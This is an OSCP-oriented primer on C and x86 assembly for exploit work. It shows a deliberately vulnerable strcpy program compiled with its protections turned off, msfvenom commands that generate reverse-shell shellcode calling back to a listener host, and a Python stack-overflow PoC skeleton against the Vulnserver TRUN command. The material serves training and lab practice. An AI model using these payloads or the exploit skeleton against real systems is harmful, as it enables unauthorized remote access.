C and assembly primer for pentesters
TL;DR: You don’t need to write C and asm — you need to read enough of both to (1) modify a public exploit to fit your target and (2) step through a stack BOF in a debugger. This note gives you that floor. Companion to stack-bof-walkthrough-end-to-end and porting-public-exploits.
Why bother
On OSCP you will:
- Copy a C exploit from exploit-db, change one offset, recompile.
- Generate shellcode with msfvenom and paste it into a Python harness.
- Watch a register change in a debugger and recognise “that’s my A’s, I control EIP.”
That’s it. You’re not writing a kernel module.
C in 5 minutes
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>
void vuln(char *input) {
char buf[64];
strcpy(buf, input); // no bounds check → classic stack BOF
printf("Hello %s\n", buf);
}
int main(int argc, char **argv) {
if (argc > 1) vuln(argv[1]);
return 0;
}
Compile it (without modern mitigations, for learning):
1
gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
What each flag turned off:
-fno-stack-protector— disables stack canaries.-z execstack— marks the stack executable (kills NX/DEP for this binary).-no-pie— disables ASLR for the executable itself.
You’re recreating 2003 on purpose so you can learn the primitives before fighting mitigations.
What you must recognise in C
| Symbol | Means |
|---|---|
*p | dereference (the thing p points to) |
&x | address of x |
p->field | dereference and member access |
char buf[64] | 64 bytes on the stack |
malloc / free | heap alloc / dealloc — UAF lives here |
strcpy / sprintf / gets | dangerous, no bounds — BOF source |
strncpy / snprintf | safer, length-limited |
void * | untyped pointer (you’ll cast it) |
Calling conventions you’ll see in a debugger
x86 (32-bit) — cdecl
- Args pushed right-to-left on the stack.
- Caller cleans up.
- Return value in
EAX. - Stack frame:
EBP(frame pointer),ESP(top of stack),EIP(next instruction). - After
CALL, return address sits at[ESP]; classic BOF target.
x86-64 — System V (Linux)
- First 6 args in
RDI, RSI, RDX, RCX, R8, R9. - Return value in
RAX. - “Red zone” — 128 bytes below
RSPusable without adjustment.
x86-64 — Microsoft x64 (Windows)
- First 4 args in
RCX, RDX, R8, R9; rest on stack. - Caller allocates 32-byte “shadow space” for the callee.
Registers you actually look at
| 32-bit | 64-bit | Role |
|---|---|---|
| EIP | RIP | next instruction (the prize) |
| ESP | RSP | stack top |
| EBP | RBP | frame base |
| EAX | RAX | return value / scratch |
| ECX | RCX | counter / 1st arg (Win64) |
Asm patterns you must recognise
push ebp ; function prologue: save old frame
mov ebp, esp ; new frame
sub esp, 0x40 ; reserve 64 bytes for locals
...
mov esp, ebp ; function epilogue
pop ebp
ret ; pops EIP from stack ← BOF lands here
call vuln ; pushes return address, jumps to vuln
jmp esp ; the classic "land my shellcode" trick
Shellcode in one paragraph
Shellcode is position-independent machine code that, when executed, gives you something useful (a shell, a reverse connection, a download-and-execute). On OSCP you generate it; you do not write it.
1
2
3
4
5
# linux/x86 reverse shell, no nulls
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -b '\x00' -f c
# windows/x86 reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -b '\x00\x0a\x0d' -f c
-b excludes “bad characters” — bytes the vulnerable input handler chokes on. See bad-character-handling.
Reading a public exploit (the OSCP move)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# typical PoC skeleton you'll edit
import socket, struct
target_ip = "TARGET_HERE"
target_port = 9999
offset = 2003 # how many A's before EIP
ret_addr = struct.pack("<I", 0x625011AF) # JMP ESP gadget in essfunc.dll
nops = b"\x90" * 16
shellcode = (b"\xdb\xcb..." ) # paste msfvenom output here
payload = b"TRUN /.:/" + b"A"*offset + ret_addr + nops + shellcode
s = socket.socket()
s.connect((target_ip, target_port))
s.send(payload)
s.close()
Things you change for your target:
target_ip.offset(find with cyclic pattern).ret_addr(find a JMP ESP that survives bad chars).shellcode(regenerate with your-band your LHOST/LPORT).